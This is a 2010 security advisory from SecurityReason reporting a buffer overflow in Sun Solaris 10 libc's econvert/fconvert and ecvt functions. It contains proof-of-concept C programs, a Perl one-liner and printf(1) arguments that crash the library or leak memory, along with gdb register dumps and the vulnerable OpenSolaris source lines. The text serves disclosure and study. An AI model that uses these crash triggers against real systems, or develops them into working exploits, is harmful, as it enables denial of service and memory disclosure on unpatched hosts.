-----BEGIN PGP SIGNED MESSAGE-----=0D
Hash: SHA1=0D
=0D
[ Sun Solaris 10 libc/*convert (*cvt) buffer overflow ]=0D
=0D
Author: Maksymilian Arciemowicz=0D
http://SecurityReason.com=0D
Date:=0D
- - Dis.: 15.04.2010=0D
- - Pub.: 21.05.2010=0D
=0D
Affected Software:=0D
- - Sun Solaris 10 10/9=0D
=0D
Original URL:=0D
http://securityreason.com/achievement_securityalert/86=0D
=0D
=0D
- --- 0.Description ---=0D
SYNOPSIS=0D
#include =0D
=0D
char *econvert(double value, int ndigit, int *decpt, int=0D
*sign, char *buf);=0D
=0D
char *fconvert(double value, int ndigit, int *decpt, int=0D
*sign, char *buf);=0D
=0D
char *gconvert(double value, int ndigit, int trailing, char=0D
*buf);=0D
=0D
char *seconvert(single *value, int ndigit, int *decpt, int=0D
*sign, char *buf);=0D
=0D
char *sfconvert(single *value, int ndigit, int *decpt, int=0D
*sign, char *buf);=0D
=0D
char *sgconvert(single *value, int ndigit, int trailing,=0D
char *buf);=0D
=0D
char *qeconvert(quadruple *value, int ndigit, int *decpt,=0D
int *sign, char *buf);=0D
=0D
char *qfconvert(quadruple *value, int ndigit, int *decpt,=0D
int *sign, char *buf);=0D
=0D
char *qgconvert(quadruple *value, int ndigit, int trailing,=0D
char *buf);=0D
=0D
The econvert() function converts the value to a null-=0D
terminated string of ndigit ASCII digits in buf and returns=0D
a pointer to buf. buf should contain at least ndigit+1 char-=0D
acters. The position of the decimal point relative to the=0D
beginning of the string is stored indirectly through decpt.=0D
Thus buf == "314" and *decpt == 1 corresponds to the numeri-=0D
cal value 3.14, while buf == "314" and *decpt == -1=0D
corresponds to the numerical value .0314. If the sign of the=0D
result is negative, the word pointed to by sign is nonzero;=0D
otherwise it is zero. The least significant digit is=0D
rounded.=0D
=0D
SYNOPSIS=0D
#include =0D
=0D
char *ecvt(double value, int ndigit, int *restrict decpt,=0D
int *restrict sign);=0D
=0D
char *fcvt(double value, int ndigit, int *restrict decpt,=0D
int *restrict sign);=0D
=0D
char *gcvt(double value, int ndigit, char *buf);=0D
=0D
DESCRIPTION=0D
The ecvt(), fcvt() and gcvt() functions convert floating-=0D
point numbers to null-terminated strings.=0D
=0D
=0D
- --- 1. Sun Solaris 10 libc/*convert (*cvt) buffer overflow ---=0D
The main problem exists in sun solaris libc. OpenSolaris is not affected.=0D
=0D
PoC:=0D
- ---=0D
# cat jaja.c=0D
#include =0D
#include =0D
=0D
int main (int argc, char *argv[]){=0D
=0D
char number[10000];=0D
=0D
int a,b;=0D
=0D
printf("%s", fconvert((double)0,atoi(argv[1]),&a,&b,number));=0D
return 0;=0D
}=0D
=0D
# /usr/local/bin/gcc -o jaja jaja.c=0D
# ./jaja 16=0D
0000000000000000#=0D
# ./jaja 512=0D
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000#=0D
- ---=0D
=0D
for 512 will work fine, because we have used (double)0 to convert. When we use no zero value, then crash.=0D
=0D
ok. let`s set no zero value in jaja2.c=0D
=0D
Poc:=0D
- ---=0D
# cat jaja2.c=0D
#include =0D
#include =0D
=0D
int main (int argc, char *argv[]){=0D
=0D
char number[10000];=0D
=0D
int a,b;=0D
=0D
printf("%s", fconvert((double)1,atoi(argv[1]),&a,&b,number));=0D
return 0;=0D
}=0D
=0D
# /usr/local/bin/gcc -o jaja2 jaja2.c=0D
# ./jaja2 512=0D
Segmentation fault (core dumped)=0D
# /usr/local/bin/gdb -q jaja2=0D
(no debugging symbols found)=0D
(gdb) r 512=0D
Starting program: /jaja2 512=0D
(no debugging symbols found)=0D
(no debugging symbols found)=0D
=0D
Program received signal SIGSEGV, Segmentation fault.=0D
0xfeeab05c in fconvert () from /lib/libc.so.1=0D
(gdb) i r=0D
eax 0x8047240 134509120=0D
ecx 0x3250 12880=0D
edx 0x8048000 134512640=0D
ebx 0xfef9e000 -17178624=0D
esp 0x8044b38 0x8044b38=0D
ebp 0x8044d68 0x8044d68=0D
esi 0x200 512=0D
edi 0x0 0=0D
eip 0xfeeab05c 0xfeeab05c =0D
eflags 0x10206 [ PF IF RF ]=0D
cs 0x3b 59=0D
ss 0x43 67=0D
ds 0x43 67=0D
es 0x43 67=0D
fs 0x0 0=0D
gs 0x1c3 451=0D
(gdb) x/x $edx=0D
0x8048000: Cannot access memory at address 0x8048000=0D
(gdb)=0D
- ---=0D
=0D
the same result we can get with perl(1)=0D
=0D
PoC perl:=0D
- ---=0D
#!/usr/local/bin/perl=0D
printf "%.512f", 1;=0D
# perl pss.pl=0D
Segmentation Fault - core dumped=0D
# /usr/local/bin/gdb -q perl=0D
(no debugging symbols found)=0D
(gdb) r pss.pl=0D
Starting program: /usr/bin/perl pss.pl=0D
(no debugging symbols found)=0D
(no debugging symbols found)=0D
(no debugging symbols found)=0D
(no debugging symbols found)=0D
(no debugging symbols found)=0D
(no debugging symbols found)=0D
(no debugging symbols found)=0D
=0D
Program received signal SIGSEGV, Segmentation fault.=0D
0xfed7b05c in fconvert () from /lib/libc.so.1=0D
- ---=0D
=0D
ok.=0D
=0D
function like *cvt(3) are also affected. let`s check ecvt(3)=0D
=0D
PoC:=0D
- ---=0D
# cat jaja3.c=0D
#include =0D
#include =0D
=0D
int main (int argc, char *argv[]){=0D
=0D
int a,b;=0D
=0D
printf("%s", ecvt((double)1,atoi(argv[1]),&a,&b));=0D
return 0;=0D
}=0D
=0D
# ./jaja3 3405=0D
%Y....[some_part_of_memory]=0D
#=0D
- ---=0D
=0D
it`s look like a memory disclosure=0D
=0D
let's see bigger value=0D
=0D
PoC:=0D
- ---=0D
# ./jaja3 3500=0D
Segmentation fault (core dumped)=0D
- ---=0D
=0D
now is the time to debug it=0D
=0D
PoC:=0D
- ---=0D
# /usr/local/bin/gdb -q jaja3=0D
(no debugging symbols found)=0D
(gdb)=0D
(gdb) r 4000=0D
Starting program: /jaja3 4000=0D
(no debugging symbols found)=0D
(no debugging symbols found)=0D
=0D
Program received signal SIGSEGV, Segmentation fault.=0D
0xfeeaaf72 in econvert () from /lib/libc.so.1=0D
(gdb) i r=0D
eax 0xf00 3840=0D
ecx 0xdac 3500=0D
edx 0xfef929ab -17225301=0D
ebx 0xfef9e000 -17178624=0D
esp 0x8047230 0x8047230=0D
ebp 0x8047460 0x8047460=0D
esi 0xfa0 4000=0D
edi 0x1 1=0D
eip 0xfeeaaf72 0xfeeaaf72 =0D
eflags 0x10287 [ CF PF SF IF RF ]=0D
cs 0x3b 59=0D
ss 0x43 67=0D
ds 0x43 67=0D
es 0x43 67=0D
fs 0x0 0=0D
gs 0x1c3 451=0D
- ---=0D
=0D
eip can be differ, not ever in econvert+144=0D
=0D
PoC:=0D
- ---=0D
(gdb) r 3501111111=0D
The program being debugged has been started already.=0D
Start it from the beginning? (y or n) y=0D
Starting program: /jaja3 3501111111=0D
[New LWP 1 ]=0D
(no debugging symbols found)=0D
(no debugging symbols found)=0D
=0D
Program received signal SIGSEGV, Segmentation fault.=0D
0xfeeaaf89 in econvert () from /lib/libc.so.1=0D
(gdb) i r=0D
eax 0xcfa7d347 -811084985=0D
ecx 0x0 0=0D
edx 0x1 1=0D
ebx 0xfef9e000 -17178624=0D
esp 0x8047230 0x8047230=0D
ebp 0x8047460 0x8047460=0D
esi 0xd0aeb747 -793856185=0D
edi 0x1 1=0D
eip 0xfeeaaf89 0xfeeaaf89 =0D
eflags 0x10287 [ CF PF SF IF RF ]=0D
cs 0x3b 59=0D
ss 0x43 67=0D
ds 0x43 67=0D
es 0x43 67=0D
fs 0x0 0=0D
gs 0x1c3 451=0D
- ---=0D
=0D
and not ever should crash in econvert=0D
=0D
very interesting behavior, we can see in printf(1) program=0D
=0D
PoC:=0D
- ---=0D
# /usr/local/bin/gdb -q printf=0D
(no debugging symbols found)=0D
(gdb) r %.011111f 0=0D
Starting program: /usr/bin/printf %.011111f 0=0D
(no debugging symbols found)=0D
(no debugging symbols found)=0D
(no debugging symbols found)=0D
=0D
Program received signal SIGSEGV, Segmentation fault.=0D
0xfeea48da in _malloc_unlocked () from /lib/libc.so.1=0D
(gdb) r %.0111111f 0=0D
The program being debugged has been started already.=0D
Start it from the beginning? (y or n) y=0D
=0D
Starting program: /usr/bin/printf %.0111111f 0=0D
[New LWP 1 ]=0D
(no debugging symbols found)=0D
(no debugging symbols found)=0D
(no debugging symbols found)=0D
=0D
Program received signal SIGSEGV, Segmentation fault.=0D
0xfee852ab in memcpy () from /lib/libc.so.1=0D
=0D
(gdb) r %.0111111f 1=0D
The program being debugged has been started already.=0D
Start it from the beginning? (y or n) y=0D
=0D
Starting program: /usr/bin/printf %.0111111f 1=0D
[New LWP 1 ]=0D
(no debugging symbols found)=0D
(no debugging symbols found)=0D
(no debugging symbols found)=0D
=0D
Program received signal SIGSEGV, Segmentation fault.=0D
0xfee8b05c in fconvert () from /lib/libc.so.1=0D
(gdb) x/i $eip=0D
0xfee8b05c : mov %al,(%edx)=0D
- ---=0D
=0D
for printf(1) we have get eip in:=0D
- - fconvert+163 (the same like in jaja2=512)=0D
- - memcpy=0D
- - _malloc_unlocked=0D
- - others=0D
=0D
this vuln is very similar to CVE-2009-0689 but we don't have founded part of gdtoa license in Oracle license and bahavior for above examples are differs as in CVE-2009-0689.=0D
=0D
http://src.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/lib/libbc/libc/gen/common/ecvt.c=0D
=0D
- ---=0D
34 char *=0D
35 ecvt(arg, ndigits, decpt, sign)=0D
36 double arg;=0D
37 int ndigits, *decpt, *sign;=0D
38 {=0D
39 if (efcvtbuffer == NULL)=0D
40 efcvtbuffer = (char *)calloc(1,1024);=0D
41 return econvert(arg, ndigits, decpt, sign, efcvtbuffer);=0D
42 }=0D
43 =0D
- ---=0D
=0D
efcvtbuffer = (char *)calloc(1,1024);=0D
and ndigits is bigger from efcvtbuffer size.=0D
=0D
now we show econvert(), =0D
=0D
http://src.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/lib/libbc/libc/gen/common/econvert.c=0D
=0D
- ---=0D
34 econvert(arg, ndigits, decpt, sign, buf)=0D
35 double arg;=0D
36 int ndigits, *decpt, *sign;=0D
37 char *buf;=0D
38 {=0D
39 decimal_mode dm;=0D
40 decimal_record dr;=0D
41 fp_exception_field_type ef;=0D
42 int i;=0D
43 char *pc;=0D
44 int nc;=0D
45 =0D
46 dm.rd = fp_direction; /* Rounding direction. */=0D
47 dm.df = floating_form; /* E format. */=0D
48 dm.ndigits = ndigits; /* Number of significant digits. */=0D
49 double_to_decimal(&arg, &dm, &dr, &ef);=0D
50 *sign = dr.sign;=0D
51 switch (dr.fpclass) {=0D
52 case fp_normal:=0D
53 case fp_subnormal:=0D
54 *decpt = dr.exponent + ndigits;=0D
55 for (i = 0; i < ndigits; i++)=0D
56 buf[i] = dr.ds[i];=0D
57 buf[ndigits] = 0;=0D
58 break;=0D
- ---=0D
=0D
line 55 and 56 show buffer overflow.=0D
=0D
We do not know why, but the OpenSolaris project, contains a security patch and the project is vulnerable SunOS.=0D
=0D
=0D
- --- 2. Fix ---=0D
Sun bug 5105920=0D
=0D
OpenSolaris has removed this issue without realizing the security nature of the bug.=0D
=0D
=0D
- --- 3. Greets ---=0D
sp3x Infospec pi3=0D
=0D
=0D
- --- 4. Contact ---=0D
Author: SecurityReason.com [ Maksymilian Arciemowicz ]=0D
=0D
Email:=0D
- - cxib {a\./t] securityreason [d=t} com=0D
=0D
GPG:=0D
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg=0D
=0D
http://securityreason.com/=0D
http://securityreason.com/exploit_alert/ - Exploit Database=0D
http://securityreason.com/security_alert/ - Vulnerability Database=0D
-----BEGIN PGP SIGNATURE-----=0D
=0D
iEYEARECAAYFAkv2dzwACgkQpiCeOKaYa9ZlZgCePDO6yzT92gv8BZWgVIzkRVz7=0D
SHIAn2EeEKyQMPdGXWcEahv0lYzwizzy=0D
=SXST=0D
-----END PGP SIGNATURE-----=0D